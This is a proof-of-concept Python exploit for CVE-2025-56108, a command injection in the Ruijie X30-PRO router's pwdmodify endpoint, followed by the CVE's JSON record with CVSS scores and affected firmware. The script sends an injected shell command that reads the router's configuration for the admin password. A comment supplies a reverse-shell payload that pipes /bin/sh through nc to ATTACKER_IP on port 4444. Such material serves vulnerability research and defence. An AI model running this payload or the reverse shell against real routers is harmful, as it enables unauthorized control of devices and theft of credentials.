CVE-2025-56108

import requests # CVE-2025-56108 PoC - Ruijie X30-PRO Command Injection # Target: Ruijie X30-PRO router # Vulnerability: OS Command Injection in pwdmodify (common.lua) target_ip = "192.168.1.1" # Router IP address target_port = 80 url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/pwdmodify" # Payload to inject arbitrary command - extract admin password payload = "'; cat /etc/config/system | grep password; '" data = { "pwdmodify": payload } try: response = requests.post(url, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Error: {e}") # Reverse shell payload example: # '; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f; '

{"cve": {"id": "CVE-2025-56108", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:56.443", "lastModified": "2026-01-26T22:38:34.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the pwdmodify in file /usr/lib/lua/luci/modules/common.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "467678E1-6A87-4C42-98CD-CB970BCB53DF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "94BA1D95-3F5C-4888-AF37-287F843CA80D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\\(1\\)b2p55:*:*:*:*:*:*:*", "matchCriteriaId": "54D9F162-AE62-405B-BACF-95AB35C3F94B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:*", "matchCriteriaId": "43BC34C1-E257-4D67-ABA4-2AA6DD533275"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-est350_firmware:3.0\\(1\\)b11p221:*:*:*:*:*:*:*", "matchCriteriaId": "80370342-87A6-4EB8-9D9C-A7A15EC4792E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est350:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "559530E6-EA42-4766-B29A-3258A2B6DFB4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\\(1\\)b11p219:*:*:*:*:*:*:*", "matchCriteriaId": "5A2F0026-B379-46FF-BFC5-56F0C2CB5A58"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "76F60F45-CF3C-4E10-AFAC-231318B1182F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-est310_firmware:3.0\\(1\\)b11p211:*:*:*:*:*:*:*", "matchCriteriaId": "5E9A9F0F-8AC8-4DE9-B6DF-C0B31EBA8B36"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est310:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "20ADD2BE-7553-4B37-A42D-4F28E4550E9D"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EtGIxwWujwxBvQhL9wgnUIwBkg-mndJJX07Igr6d0cic-g?e=4KJbWY", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/Ecib6--fxv9HhrfAdhmP5R4BOPDcTcqTOBt0hQBEx5BTxA?e=s3ejN1", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56108.md", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}